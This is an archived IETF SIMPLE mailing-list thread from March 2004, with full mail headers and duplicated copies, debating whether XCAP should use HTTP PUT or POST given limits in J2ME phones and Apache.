	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17965
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:51:23 -0500 (EST)
From: jii@oz.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dtT-0002X3-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:51:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0dsY-0002OP-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:50:26 -0500
Received: from snowball.oz.com ([66.46.162.10])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ds7-0002FK-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:49:59 -0500
Received: from mail.mon.oz.com ([66.46.161.107])
	by snowball.oz.com (8.12.8/8.12.8) with ESMTP id i299hwGx028314
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:43:58 -0500
Subject: Re: [Simple] PUT vs POST in XCAP
To: simple@ietf.org
X-Mailer: Lotus Notes Release 5.0.2c (Intl) 2 February 2000
Message-ID: <OF49D2FC9D.1FC9FEAD-ON85256E52.0034615F@mon.oz.com>
X-MIMETrack: Serialize by Router on OZ-MONTREAL/OZ-Inc(Release 5.0.11  |July 24, 2002) at
 09.03.2004 04:50:40
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 09:50:39 +0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no 
	version=2.60


>That said, assuming Dean's assessment of apache operation is correct
>(can someone verify that PUT works this way? I always thought one could
>write a servlet that handles PUT...), this would pose a problem. A key
>goal of XCAP is that it was easily built on existing servers and
>existing wireless clients. If people know of reasons why this goal has
>not been met, we should explore that.

Hi,

Another technology that has a problem with PUT is J2ME.  It's been my
experience that a large percentage of J2ME implementations used in mobile
phones only support GET / POST / HEAD.  The API for the HttpConnection
class in MIDP 1.0 / 2.0 doesn't even specify a field for other methods then
those 3 ones and the spec only mandates support for HEAD, GET and POST
requests leaving the rest optional.

wr,
Jon Ingi
OZ Communications



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 04:53:57 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA18071
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 04:53:57 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dvV-0006ZK-NJ
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 04:53:29 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i299rTRj025239
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 04:53:29 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dvU-0006Z0-SD
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 04:53:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA18036
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 04:53:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dvR-0002qv-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 04:53:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0duV-0002gt-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 04:52:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0duC-0002Xn-00; Tue, 09 Mar 2004 04:52:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0du7-0006SV-DD; Tue, 09 Mar 2004 04:52:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dtW-0006Ra-Py
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 04:51:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17965
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:51:23 -0500 (EST)
From: jii@oz.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dtT-0002X3-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:51:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0dsY-0002OP-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:50:26 -0500
Received: from snowball.oz.com ([66.46.162.10])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ds7-0002FK-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:49:59 -0500
Received: from mail.mon.oz.com ([66.46.161.107])
	by snowball.oz.com (8.12.8/8.12.8) with ESMTP id i299hwGx028314
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:43:58 -0500
Subject: Re: [Simple] PUT vs POST in XCAP
To: simple@ietf.org
X-Mailer: Lotus Notes Release 5.0.2c (Intl) 2 February 2000
Message-ID: <OF49D2FC9D.1FC9FEAD-ON85256E52.0034615F@mon.oz.com>
X-MIMETrack: Serialize by Router on OZ-MONTREAL/OZ-Inc(Release 5.0.11  |July 24, 2002) at
 09.03.2004 04:50:40
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 09:50:39 +0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no 
	version=2.60


>That said, assuming Dean's assessment of apache operation is correct
>(can someone verify that PUT works this way? I always thought one could
>write a servlet that handles PUT...), this would pose a problem. A key
>goal of XCAP is that it was easily built on existing servers and
>existing wireless clients. If people know of reasons why this goal has
>not been met, we should explore that.

Hi,

Another technology that has a problem with PUT is J2ME.  It's been my
experience that a large percentage of J2ME implementations used in mobile
phones only support GET / POST / HEAD.  The API for the HttpConnection
class in MIDP 1.0 / 2.0 doesn't even specify a field for other methods then
those 3 ones and the spec only mandates support for HEAD, GET and POST
requests leaving the rest optional.

wr,
Jon Ingi
OZ Communications



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 06:04:04 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20435
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 06:04:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0f1o-0007mW-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 06:04:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0f0y-0007Yr-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 06:03:13 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0f03-0007Lq-00; Tue, 09 Mar 2004 06:02:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ezp-00023i-JV; Tue, 09 Mar 2004 06:02:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ezI-00022U-6l
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 06:01:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20321
	for <simple@ietf.org>; Tue, 9 Mar 2004 06:01:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ezE-0007HD-00
	for simple@ietf.org; Tue, 09 Mar 2004 06:01:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0eyC-00074y-00
	for simple@ietf.org; Tue, 09 Mar 2004 06:00:21 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0exB-0006kh-00
	for simple@ietf.org; Tue, 09 Mar 2004 05:59:17 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i29AxEa28945;
	Tue, 9 Mar 2004 12:59:14 +0200 (EET)
X-Scanned: Tue, 9 Mar 2004 12:58:40 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i29Awe1v017134;
	Tue, 9 Mar 2004 12:58:40 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00vFqPAr; Tue, 09 Mar 2004 12:58:39 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i29Awc100601;
	Tue, 9 Mar 2004 12:58:38 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 9 Mar 2004 12:58:38 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id MAA16863;
	Tue, 9 Mar 2004 12:58:50 +0200 (EET)
Subject: Re: [Simple] PUT vs POST in XCAP
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
	 <404711F8.9080807@softarmor.com>  <404D7E68.8090304@dynamicsoft.com>
Content-Type: text/plain
Message-Id: <1078829916.13856.49.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 09 Mar 2004 10:58:38.0347 (UTC) FILETIME=[79CE35B0:01C405C5]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 12:58:37 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

On Tue, 2004-03-09 at 10:20, ext Jonathan Rosenberg wrote:
> This is a debate we went through last June (I think) during the initial 
> design phases of xcap. There were a few arguments against a POST mechanism:
> 
> 1. is a tell-tale sign that you are really not using http, but rather, 
> tunnelling some other protocol through http, which is a no-no 
> (ftp://ftp.rfc-editor.org/in-notes/rfc3205.txt)
> 
> 2. The vast majority of the cases, the xcap operations really WERE GET 
> and PUT, tunneling these over POST would just result in effectively 
> tunneling http over http.
> 
> 
> To a large degree, the perspective depends on how much you think that 
> server computed data is going to be a piece of the xcap puzzle. My view 
> is that this was really an exception to the general xcap case, which had 
> client managing data resident on a server. Right now, across all of the 
> applications we have discussed, the one, and only one case for server 
> computed data is to compute a URI associated with a resource, whether 
> thats a conference (in the case of CPCP), or its a buddy list (in the 
> case of resource lists). As such, xcap is optimized for the case where 
> the vast majority of the protocol is worrying about direct modification 
> of data (put/delete). I do not think we want to turn xcap into a general 
> protocol for having servers fill in arbitrary data for different apps.
> 
> That said, assuming Dean's assessment of apache operation is correct 
> (can someone verify that PUT works this way? I always thought one could 
> write a servlet that handles PUT...), this would pose a problem. A key 
> goal of XCAP is that it was easily built on existing servers and 
> existing wireless clients. If people know of reasons why this goal has 
> not been met, we should explore that.
> 
Right, you can easily write apache modules that handle all requests e.g.
so that within some defined directory all requests/responses are handled
with that module (more to follow below). 

> A possible solution to this issue is to cleanly separate the URI 
> allocation from the manipulation. We could define a separate piece of 
> the protocol (POST based, perhaps), which has the server allocate the 
> URI to the client. Once allocated, the client would PUT the entire 
> document with that URI filled in. In this way, the data manipulation is 
> using PUT/DELETE and is separated from the server computation.
> 
> This still requires two round trips to create a list. That seemed to 
> give people a LOT of heartburn, but I dont think its an optimization we 
> need to worry about that much. None of these operations are latency 
> sensitive; at least, not to the point where one round trip vs. two 
> really makes a difference. Furthermore, we are talkign only about the 
> creation of the list/conference, which is not likely to be that frequent 
> of an event. Thus, I dont see a bandwidth issue per se either.
> 
> -Jonathan R.
> 
This is probably the best way to go, at least it is better than the
current one.
> 
> 
> Dean Willis wrote:
> 
> > Niemi Aki (Nokia-M/Espoo) wrote:
> > 
> >> Although I'm all for having discussion on this topic, I'd like to see
> >> the counterproposal. What goes in the POST body? What then? It's really
> >> hard to argue against imagineware...
> > 
> > 
> > Basically, the same thing that goes in a PUT body now, but framed out as 
> >  an argument set. One approach might be to make it a text field in a form.
> > 
> >>
> >>> Certainly it would be much easier to build an XCAP implementation on 
> >>> Apache's HTTPD using a POST interface than it would using a PUT 
> >>> interface.
> >>
> >>
> >>
> >> Could you elaborate? For example, does the CGI interface not give access
> >> to the body of a PUT? What's the problem exactly?
> > 
> > 
> > I'm not an expert on Apache internals, although I have been building web 
> > sites with it for ten years or so. As I understand it, PUT requests are 
> > interpreted by the WebDAV module (or by the basic web posting module if 
> > you don't have the WebDAV module) and literally results in writing a 
> > file to the file system. Nothing gets "triggered" when this happens, no 
> > magic application gets invoked to go do things like assign a conference 
> > number and update the etag, or anything like that. The data just sits 
> > there in a file. To implement the current XCAP model, you'd have to 
> > write some magic filesystem-monitoring daemon that notices the file has 
> > changed, locks it, reads it, and writes it back with new etags. This 
> > makes for 1) a lot of polling the filesystem for changes, and 2) really 
> > wicked locking problems between writes-from-apache and 
> > writes-from-the-magic-daemon to the data. There's probably a more clever 
> > way to do it, but it's going to be moderately painful in any case.
> > 
I have been writing an apache module to handle basic xcap-requests. In
practice, an apache module will get parsed requests (+payload) and the
module may respond however it wishes. It is not necessary that any
file-io will ever happen, however in xcap, it is of course desirable.
There are also other implementation difficulties that could be
elaborated here, but from the modules point of view, apache only
provides basic http transport and module has to take care of the all
"real" handling.

> > Compare this to the POST interface: the server hands the request off to 
> > the appropriate script-handler, which executes program logic on the 
> > request. Typically, the body of the request is passed into the handler, 
> > which parses, validates, and does something useful with that data.
> > 
> > In the most-like today's XCAP case, the handler would parse the request 
> > to determine the correct XCAP resource, parse out the specifier to get 
> > to the right place in the XML document, lock and rewrite the XML 
> > document (remember, this is a sequential text file), return a copy of 
> > the XML document with a new etag, then IPC notify the list server daemon 
> > about the change so that it could re-read, validate, and revise (for 
> > example, assign a conference URI) the resource and notify subscribers of 
> > changes.
> > 
> > If one can abandon the current convoluted XCAP update model (which 
> > writes the data BEFORE validating it), I think a much cleaner process 
> > happens if the script-handler validates the input, locks the resource, 
> > applies any needed transformation (like adding a conference URI), writes 
> > the resource, and returns the revised resource and its new etag to the 
> > POSTer, then IPC-notifies the list server.
> > 
> > This approach would appear relatively easy to implement in a Perl or PHP 
> > script invoked by the cgi-bin interface in Apache.  In fact, other than 
> > the xml processing, it's no harder than the scripts I use to run the 
> > softarmor web site. This is substantially easier to deal with (using my 
> > antquated skills, at least) than something that requires me to break out 
> > the compiler and write a new Apache dynamically loaded module that 
> > intercepts PUT requests.
> > 
> > -- 
> > dean
> > 
While I'll admit that POST handling might be easier to implement in some
cases, but the much more difficult issue in implementation is
XML-manipulation and other issues, which are the same regardless of the
http method used. However, I'll agree that semantics in XCON may not fit
that well with XCAP but it still gives you a good baseline to start
with.

BR,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 06:04:43 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20477
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 06:04:43 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0f1x-0002BR-Ft
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 06:04:15 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29B4Bq2008381
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 06:04:11 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0f1t-0002B6-3Q
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 06:04:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20455
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 06:04:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0f1p-0007mb-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 06:04:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0f0z-0007Yz-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 06:03:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0f03-0007Lq-00; Tue, 09 Mar 2004 06:02:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ezp-00023i-JV; Tue, 09 Mar 2004 06:02:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ezI-00022U-6l
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 06:01:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20321
	for <simple@ietf.org>; Tue, 9 Mar 2004 06:01:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ezE-0007HD-00
	for simple@ietf.org; Tue, 09 Mar 2004 06:01:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0eyC-00074y-00
	for simple@ietf.org; Tue, 09 Mar 2004 06:00:21 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0exB-0006kh-00
	for simple@ietf.org; Tue, 09 Mar 2004 05:59:17 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i29AxEa28945;
	Tue, 9 Mar 2004 12:59:14 +0200 (EET)
X-Scanned: Tue, 9 Mar 2004 12:58:40 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i29Awe1v017134;
	Tue, 9 Mar 2004 12:58:40 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00vFqPAr; Tue, 09 Mar 2004 12:58:39 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i29Awc100601;
	Tue, 9 Mar 2004 12:58:38 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 9 Mar 2004 12:58:38 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id MAA16863;
	Tue, 9 Mar 2004 12:58:50 +0200 (EET)
Subject: Re: [Simple] PUT vs POST in XCAP
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
	 <404711F8.9080807@softarmor.com>  <404D7E68.8090304@dynamicsoft.com>
Content-Type: text/plain
Message-Id: <1078829916.13856.49.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 09 Mar 2004 10:58:38.0347 (UTC) FILETIME=[79CE35B0:01C405C5]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 12:58:37 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On Tue, 2004-03-09 at 10:20, ext Jonathan Rosenberg wrote:
> This is a debate we went through last June (I think) during the initial 
> design phases of xcap. There were a few arguments against a POST mechanism:
> 
> 1. is a tell-tale sign that you are really not using http, but rather, 
> tunnelling some other protocol through http, which is a no-no 
> (ftp://ftp.rfc-editor.org/in-notes/rfc3205.txt)
> 
> 2. The vast majority of the cases, the xcap operations really WERE GET 
> and PUT, tunneling these over POST would just result in effectively 
> tunneling http over http.
> 
> 
> To a large degree, the perspective depends on how much you think that 
> server computed data is going to be a piece of the xcap puzzle. My view 
> is that this was really an exception to the general xcap case, which had 
> client managing data resident on a server. Right now, across all of the 
> applications we have discussed, the one, and only one case for server 
> computed data is to compute a URI associated with a resource, whether 
> thats a conference (in the case of CPCP), or its a buddy list (in the 
> case of resource lists). As such, xcap is optimized for the case where 
> the vast majority of the protocol is worrying about direct modification 
> of data (put/delete). I do not think we want to turn xcap into a general 
> protocol for having servers fill in arbitrary data for different apps.
> 
> That said, assuming Dean's assessment of apache operation is correct 
> (can someone verify that PUT works this way? I always thought one could 
> write a servlet that handles PUT...), this would pose a problem. A key 
> goal of XCAP is that it was easily built on existing servers and 
> existing wireless clients. If people know of reasons why this goal has 
> not been met, we should explore that.
> 
Right, you can easily write apache modules that handle all requests e.g.
so that within some defined directory all requests/responses are handled
with that module (more to follow below). 

> A possible solution to this issue is to cleanly separate the URI 
> allocation from the manipulation. We could define a separate piece of 
> the protocol (POST based, perhaps), which has the server allocate the 
> URI to the client. Once allocated, the client would PUT the entire 
> document with that URI filled in. In this way, the data manipulation is 
> using PUT/DELETE and is separated from the server computation.
> 
> This still requires two round trips to create a list. That seemed to 
> give people a LOT of heartburn, but I dont think its an optimization we 
> need to worry about that much. None of these operations are latency 
> sensitive; at least, not to the point where one round trip vs. two 
> really makes a difference. Furthermore, we are talkign only about the 
> creation of the list/conference, which is not likely to be that frequent 
> of an event. Thus, I dont see a bandwidth issue per se either.
> 
> -Jonathan R.
> 
This is probably the best way to go, at least it is better than the
current one.
> 
> 
> Dean Willis wrote:
> 
> > Niemi Aki (Nokia-M/Espoo) wrote:
> > 
> >> Although I'm all for having discussion on this topic, I'd like to see
> >> the counterproposal. What goes in the POST body? What then? It's really
> >> hard to argue against imagineware...
> > 
> > 
> > Basically, the same thing that goes in a PUT body now, but framed out as 
> >  an argument set. One approach might be to make it a text field in a form.
> > 
> >>
> >>> Certainly it would be much easier to build an XCAP implementation on 
> >>> Apache's HTTPD using a POST interface than it would using a PUT 
> >>> interface.
> >>
> >>
> >>
> >> Could you elaborate? For example, does the CGI interface not give access
> >> to the body of a PUT? What's the problem exactly?
> > 
> > 
> > I'm not an expert on Apache internals, although I have been building web 
> > sites with it for ten years or so. As I understand it, PUT requests are 
> > interpreted by the WebDAV module (or by the basic web posting module if 
> > you don't have the WebDAV module) and literally results in writing a 
> > file to the file system. Nothing gets "triggered" when this happens, no 
> > magic application gets invoked to go do things like assign a conference 
> > number and update the etag, or anything like that. The data just sits 
> > there in a file. To implement the current XCAP model, you'd have to 
> > write some magic filesystem-monitoring daemon that notices the file has 
> > changed, locks it, reads it, and writes it back with new etags. This 
> > makes for 1) a lot of polling the filesystem for changes, and 2) really 
> > wicked locking problems between writes-from-apache and 
> > writes-from-the-magic-daemon to the data. There's probably a more clever 
> > way to do it, but it's going to be moderately painful in any case.
> > 
I have been writing an apache module to handle basic xcap-requests. In
practice, an apache module will get parsed requests (+payload) and the
module may respond however it wishes. It is not necessary that any
file-io will ever happen, however in xcap, it is of course desirable.
There are also other implementation difficulties that could be
elaborated here, but from the modules point of view, apache only
provides basic http transport and module has to take care of the all
"real" handling.

> > Compare this to the POST interface: the server hands the request off to 
> > the appropriate script-handler, which executes program logic on the 
> > request. Typically, the body of the request is passed into the handler, 
> > which parses, validates, and does something useful with that data.
> > 
> > In the most-like today's XCAP case, the handler would parse the request 
> > to determine the correct XCAP resource, parse out the specifier to get 
> > to the right place in the XML document, lock and rewrite the XML 
> > document (remember, this is a sequential text file), return a copy of 
> > the XML document with a new etag, then IPC notify the list server daemon 
> > about the change so that it could re-read, validate, and revise (for 
> > example, assign a conference URI) the resource and notify subscribers of 
> > changes.
> > 
> > If one can abandon the current convoluted XCAP update model (which 
> > writes the data BEFORE validating it), I think a much cleaner process 
> > happens if the script-handler validates the input, locks the resource, 
> > applies any needed transformation (like adding a conference URI), writes 
> > the resource, and returns the revised resource and its new etag to the 
> > POSTer, then IPC-notifies the list server.
> > 
> > This approach would appear relatively easy to implement in a Perl or PHP 
> > script invoked by the cgi-bin interface in Apache.  In fact, other than 
> > the xml processing, it's no harder than the scripts I use to run the 
> > softarmor web site. This is substantially easier to deal with (using my 
> > antquated skills, at least) than something that requires me to break out 
> > the compiler and write a new Apache dynamically loaded module that 
> > intercepts PUT requests.
> > 
> > -- 
> > dean
> > 
While I'll admit that POST handling might be easier to implement in some
cases, but the much more difficult issue in implementation is
XML-manipulation and other issues, which are the same regardless of the
http method used. However, I'll agree that semantics in XCON may not fit
that well with XCAP but it still gives you a good baseline to start
with.

BR,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



